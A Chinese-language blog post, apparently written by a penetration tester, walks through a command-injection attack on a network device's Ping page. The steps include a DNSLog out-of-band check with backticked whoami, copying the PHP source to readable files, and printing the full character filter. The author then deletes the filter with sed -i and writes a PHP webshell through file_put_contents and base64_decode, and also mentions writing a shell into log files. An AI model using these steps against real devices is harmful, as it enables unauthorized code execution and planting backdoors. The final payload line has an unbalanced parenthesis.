今天遇到一个有意思的 Linux 命令执行绕过分享一下。

某网络设备后台有个 Ping 功能,命令执行无回显,使用

1
`whoami`.dnslog

dnslog 收到请求,因此 icmp、dns 出网。

但是进一步命令执行的时候发现存在很多替换为空的过滤。

第一步绕过,cp 命令读取源码。

1
cp ping.php ping.txt

ping.php 中存在参数过滤函数,并且使用 exec() 命令执行因此无回显。

根据include包含的文件必然能找到过滤函数所在的文件。

1
cd ..\ncd ..\ncd ..\ncd ..\ncd model\ncp filter.php filter.txt

过滤如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$val = str_replace("<", "", $val);
$val = str_replace(">", "", $val);
$val = str_replace("/", "", $val);
$val = str_replace("+", "", $val);
$val = str_replace("'", "", $val);
$val = str_replace("\"", "", $val);
$val = str_replace(";", "", $val);
$val = str_replace("?", "", $val);
$val = str_replace("%", "", $val);
$val = str_replace(")", "", $val);
$val = str_replace("(", "", $val);
$val = str_replace(":", "", $val);
$val = str_replace("&", "", $val);
$val = str_replace("|", "", $val);

第二步绕过,sed 删除过滤行。

which 存在wget,尝试 wget 发现 tcp 不出网。

后来想到 sed,可以增加删除替换,但是增加和替换 php 代码都需要用到标点,于是去删除过滤函数中的过滤代码(注意事先 cp 备份)。

1
cd ..\ncd ..\ncd ..\ncd ..\ncd model\nsed -i 4d filter.php

最后,写入 webshell。

先写个一句话,phpinfo 发现是 php5.2 的,shell连接工具的加密别选 aes,或者直接上个大马。

1
cmd=file_put_contents('2.php', base64_decode('xxxxxxxx');

其他思路

当时另一个思路就是后台还有日志功能,可以考虑写入shell到日志文件,再 cp 到 web 目录,因为 sed 成功了就没去试。

想听听大家有什么其他的可行思路。

抱拳了.jpg